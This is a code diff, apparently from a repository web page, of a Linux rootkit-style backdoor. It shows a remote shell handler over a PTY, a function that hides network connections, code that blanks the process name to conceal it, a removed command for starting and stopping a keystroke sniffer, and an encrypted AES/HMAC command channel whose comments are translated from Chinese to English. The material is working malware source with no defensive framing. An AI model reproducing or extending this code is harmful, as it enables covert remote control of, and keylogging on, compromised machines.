if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
return (ERROR);
// 接收命令
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS)
@ -174,7 +161,6 @@ int runshell(int client)
strncpy(temp, (char *)message, len + 1);
}
// 创建子进程
pid = fork();
if (pid < 0) {
@ -220,7 +206,6 @@ int runshell(int client)
} else {
close(tty);
// 处理数据传输
while (1) {
FD_ZERO(&rd);
FD_SET(client, &rd);
@ -268,7 +253,6 @@ struct control {
void *argv;
};
// 隐藏连接
void hide_conn(struct sockaddr_in addr, int hide)
{
struct control args;
@ -295,7 +279,6 @@ void hide_conn(struct sockaddr_in addr, int hide)
#endif
// 构建 rcfile 路径
int build_rcfile_path(void)
{
char *name = NAME;
@ -320,7 +303,6 @@ int main(int argc, char **argv)
struct hostent *client_host;
socklen_t n;
// 解析命令行参数
while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) {
switch (opt) {
case 't':
@ -358,7 +340,6 @@ int main(int argc, char **argv)
goto out;
}
// 隐藏进程名称
arg0_len = strlen(argv[0]);
bzero(argv[0], arg0_len);
@ -392,7 +373,6 @@ int main(int argc, char **argv)
if (build_rcfile_path())
goto out;
// 创建子进程
pid = fork();
if (pid < 0)
@ -490,19 +470,6 @@ int main(int argc, char **argv)
message[len] = '\0';
delay = atoi((char *)message);
goto connect;
case 'K': // 添加 keysniffer 命令处理
if (pel_recv_msg(client, message, &len) != PEL_SUCCESS)
goto end;
if (strcmp((char *)message, "start") == 0) {
start_keysniffer();
}
else if (strcmp((char *)message, "stop") == 0) {
stop_keysniffer();
}
if (pel_send_msg(client, (unsigned char *)EXIT, EXIT_LEN) != PEL_SUCCESS)
goto end;
goto connect;
default:
break;

@ -14,34 +14,34 @@
#include "pel.h"
#include "sha1.h"
/* 全局数据 */
/* global data */
int pel_errno;
struct pel_context {
/* AES-CBC-128 变量 */
/* AES-CBC-128 variables */
struct aes_context SK; /* Rijndael 会话密钥 */
unsigned char LCT[16]; /* 最后一个密文块 */
struct aes_context SK; /* Rijndael session key */
unsigned char LCT[16]; /* last ciphertext block */
/* HMAC-SHA1 变量 */
/* HMAC-SHA1 variables */
unsigned char k_ipad[64]; /* 内部填充 */
unsigned char k_opad[64]; /* 外部填充 */
unsigned long int p_cntr; /* 数据包计数器 */
unsigned char k_ipad[64]; /* inner padding */
unsigned char k_opad[64]; /* outer padding */
unsigned long int p_cntr; /* packet counter */
};
struct pel_context send_ctx; /* 用于加密传出数据 */
struct pel_context recv_ctx; /* 用于解密传入数据 */
struct pel_context send_ctx; /* to encrypt outgoing data */
struct pel_context recv_ctx; /* to decrypt incoming data */
unsigned char challenge[16] = /* 版本特定 */
unsigned char challenge[16] = /* version-specific */
"\x58\x90\xAE\x86\xF1\xB9\x1C\xF6"
"\x29\x83\x95\x71\x1D\xDE\x58\x0D";
unsigned char buffer[BUFSIZE + 16 + 20];
/* 函数声明 */
/* function declaration */
void pel_setup_context(struct pel_context *pel_ctx, char *key,
unsigned char IV[20]);
@ -49,7 +49,7 @@ void pel_setup_context(struct pel_context *pel_ctx, char *key,
int pel_send_all(int s, void *buf, size_t len, int flags);
int pel_recv_all(int s, void *buf, size_t len, int flags);
/* 会话初始化 - 客户端 */
/* session setup - client side */
int pel_client_init(int server, char *key)
{
@ -58,7 +58,7 @@ int pel_client_init(int server, char *key)
struct sha1_context sha1_ctx;
unsigned char IV1[20], IV2[20];
/* 生成两个初始化向量 */
/* generate both initialization vectors */
pid = getpid();
@ -90,26 +90,26 @@ int pel_client_init(int server, char *key)
memcpy(IV2, &buffer[20], 20);
/* 将它们传递给服务器 */
/* and pass them to the server */
ret = pel_send_all(server, buffer, 40, 0);
if (ret != PEL_SUCCESS)
return (PEL_FAILURE);
/* 设置会话密钥 */
/* setup the session keys */
pel_setup_context(&send_ctx, key, IV1);
pel_setup_context(&recv_ctx, key, IV2);
/* 握手 - 加密并发送客户端的挑战 */
/* handshake - encrypt and send the client's challenge */
ret = pel_send_msg(server, challenge, 16);
if (ret != PEL_SUCCESS)
return (PEL_FAILURE);
/* 握手 - 解密并验证服务器的挑战 */
/* handshake - decrypt and verify the server's challenge */
ret = pel_recv_msg(server, buffer, &len);
@ -127,14 +127,14 @@ int pel_client_init(int server, char *key)
return (PEL_SUCCESS);
}
/* 会话初始化 - 服务器 */
/* session setup - server side */
int pel_server_init(int client, char *key)
{
int ret, len;
unsigned char IV1[20], IV2[20];
/* 从客户端获取 IVs */
/* get the IVs from the client */
ret = pel_recv_all(client, buffer, 40, 0);
@ -144,12 +144,12 @@ int pel_server_init(int client, char *key)
memcpy(IV2, &buffer[0], 20);
memcpy(IV1, &buffer[20], 20);
/* 设置会话密钥 */
/* setup the session keys */
pel_setup_context(&send_ctx, key, IV1);
pel_setup_context(&recv_ctx, key, IV2);
/* 握手 - 解密并验证客户端的挑战 */
/* handshake - decrypt and verify the client's challenge */
ret = pel_recv_msg(client, buffer, &len);
@ -162,7 +162,7 @@ int pel_server_init(int client, char *key)
return (PEL_FAILURE);
}
/* 握手 - 加密并发送服务器的挑战 */
/* handshake - encrypt and send the server's challenge */
ret = pel_send_msg(client, challenge, 16);
@ -174,7 +174,7 @@ int pel_server_init(int client, char *key)
return (PEL_SUCCESS);
}
/* 该例程计算 AES 和 HMAC 会话密钥 */
/* this routine computes the AES & HMAC session keys */
void pel_setup_context(struct pel_context *pel_ctx, char *key,
unsigned char IV[20])
@ -202,7 +202,7 @@ void pel_setup_context(struct pel_context *pel_ctx, char *key,
pel_ctx->p_cntr = 0;
}
/* 加密并传输消息 */
/* encrypt and transmit a message */
int pel_send_msg(int sockfd, unsigned char *msg, int length)
{
@ -210,7 +210,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
struct sha1_context sha1_ctx;
int i, j, ret, blk_len;
/* 验证消息长度 */
/* verify the message length */
if (length <= 0 || length > BUFSIZE) {
pel_errno = PEL_BAD_MSG_LENGTH;
@ -218,16 +218,16 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
return (PEL_FAILURE);
}
/* 将消息长度写入缓冲区开始位置 */
/* write the message length at start of buffer */
buffer[0] = (length >> 8) & 0xFF;
buffer[1] = (length)&0xFF;
/* 追加消息内容 */
/* append the message content */
memcpy(buffer + 2, msg, length);
/* 向上取整到 AES 块长度 (16 字节) */
/* round up to AES block length (16 bytes) */
blk_len = 2 + length;
@ -235,7 +235,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
blk_len += 16 - (blk_len & 0x0F);
}
/* 使用 AES-CBC-128 加密缓冲区 */
/* encrypt the buffer with AES-CBC-128 */
for (i = 0; i < blk_len; i += 16) {
for (j = 0; j < 16; j++) {
@ -247,7 +247,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
memcpy(send_ctx.LCT, &buffer[i], 16);
}
/* 计算密文的 HMAC-SHA1 */
/* compute the HMAC-SHA1 of the ciphertext */
buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF;
buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF;
@ -264,11 +264,11 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
sha1_update(&sha1_ctx, digest, 20);
sha1_finish(&sha1_ctx, &buffer[blk_len]);
/* 增加数据包计数器 */
/* increment the packet counter */
send_ctx.p_cntr++;
/* 传输密文和消息认证码 */
/* transmit ciphertext and message authentication code */
ret = pel_send_all(sockfd, buffer, blk_len + 20, 0);
@ -280,7 +280,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length)
return (PEL_SUCCESS);
}
/* 接收并解密消息 */
/* receive and decrypt a message */
int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
{
@ -290,14 +290,14 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
struct sha1_context sha1_ctx;
int i, j, ret, blk_len;
/* 接收第一个加密块 */
/* receive the first encrypted block */
ret = pel_recv_all(sockfd, buffer, 16, 0);
if (ret != PEL_SUCCESS)
return (PEL_FAILURE);
/* 解密该块并提取消息长度 */
/* decrypt this block and extract the message length */
memcpy(temp, buffer, 16);
@ -309,11 +309,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
*length = (((int)buffer[0]) << 8) + (int)buffer[1];
/* 恢复密文 */
/* restore the ciphertext */
memcpy(buffer, temp, 16);
/* 验证消息长度 */
/* verify the message length */
if (*length <= 0 || *length > BUFSIZE) {
pel_errno = PEL_BAD_MSG_LENGTH;
@ -321,7 +321,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_FAILURE);
}
/* 向上取整到 AES 块长度 (16 字节) */
/* round up to AES block length (16 bytes) */
blk_len = 2 + *length;
@ -329,7 +329,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
blk_len += 16 - (blk_len & 0x0F);
}
/* 接收剩余的密文和 mac */
/* receive the remaining ciphertext and the mac */
ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0);
@ -338,7 +338,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
memcpy(hmac, &buffer[blk_len], 20);
/* 验证密文完整性 */
/* verify the ciphertext integrity */
buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF;
buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF;
@ -361,11 +361,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_FAILURE);
}
/* 增加数据包计数器 */
/* increment the packet counter */
recv_ctx.p_cntr++;
/* 最后,解密并复制消息 */
/* finally, decrypt and copy the message */
for (i = 0; i < blk_len; i += 16) {
memcpy(temp, &buffer[i], 16);
@ -386,7 +386,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length)
return (PEL_SUCCESS);
}
/* 发送/接收包装器以处理分段的 TCP 数据包 */
/* send/recv wrappers to handle fragmented TCP packets */
int pel_send_all(int s, void *buf, size_t len, int flags)
{

Loading…
Cancel
Save